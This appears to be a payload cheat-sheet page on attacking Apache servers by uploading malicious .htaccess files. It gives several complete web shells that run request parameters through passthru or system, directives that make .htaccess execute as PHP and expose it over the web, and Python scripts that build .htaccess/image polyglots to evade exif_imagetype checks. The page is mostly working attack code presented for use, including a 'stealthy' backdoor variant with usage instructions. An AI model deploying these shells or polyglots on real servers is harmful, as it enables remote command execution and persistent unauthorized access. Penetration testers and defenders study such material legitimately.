.htaccess upload

Uploading an .htaccess file to override Apache rule and execute PHP. "Hackers can also use “.htaccess” file tricks to upload a malicious file with any extension and execute it. For a simple example, imagine uploading to the vulnerabler server an .htaccess file that has AddType application/x-httpd-php .htaccess configuration and also contains PHP shellcode. Because of the malicious .htaccess file, the web server considers the .htaccess file as an executable php file and executes its malicious PHP shellcode. One thing to note: .htaccess configurations are applicable only for the same directory and sub-directories where the .htaccess file is uploaded."

Self contained .htaccess web shell

```
# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has
interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess
```

```
###### SHELL ######
<?php echo "\n";passthru($_GET['c']." 2>&1"); ?>
```

.htaccess upload as image

If the `exif_imagetype` function is used on the server side to determine the image type, create a `.htaccess/image` polyglot.

Supported image types include X BitMap (XBM) and WBMP. In `.htaccess` ignoring lines starting with `\x00` and `#`, you can use these scripts for generate a valid `.htaccess/image` polyglot.

```
# create valid .htaccess/xbm image

width = 50
height = 50
payload = '# .htaccess file'

with open('.htaccess', 'w') as htaccess:
    htaccess.write('#define test_width %d\n' % (width, ))
    htaccess.write('#define test_height %d\n' % (height, ))
    htaccess.write(payload)
```

or

```
# create valid .htaccess/wbmp image

type_header = b'\x00'
fixed_header = b'\x00'
width = b'50'
height = b'50'
payload = b'# .htaccess file'

with open('.htaccess', 'wb') as htaccess:
    htaccess.write(type_header + fixed_header + width + height)
    htaccess.write(b'\n')
    htaccess.write(payload)
```

Thanks to

- ATTACKING WEBSERVERS VIA .HTACCESS - By Eldar Marcussen
- Protection from Unrestricted File Upload Vulnerability
- Writeup to l33t-hoster task, Insomnihack Teaser 2019

Exemples

.htaccess

```
# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######
```

.htaccess_phpinfo

```
AddType application/x-httpd-php .htaccess
# <?php phpinfo(); ?>
SetHandler server-status
SetHandler server-info
```

.htaccess_shell

```
# htaccess backdoor shell
# this is relatively stealthy compared to a typical webshell

# overriding deny rule
# making htaccess accessible from the internet
# without this you'll get a HTTP 403
<Files ~ "^\.ht">
Require all granted
Order allow,deny
Allow from all
</Files>

# Make the server treat .htaccess file as .php file
AddType application/x-httpd-php .htaccess

# <?php system($_GET['cmd']); ?>

# To execute commands you would navigate to:
# http://vulnerable.com/.htaccess?cmd=YourCommand

# If system(); isnt working then try other syscalls
# e.g. passthru(); shell_exec(); etc
# If you still cant execute syscalls, try bypassing php.ini via htaccess
```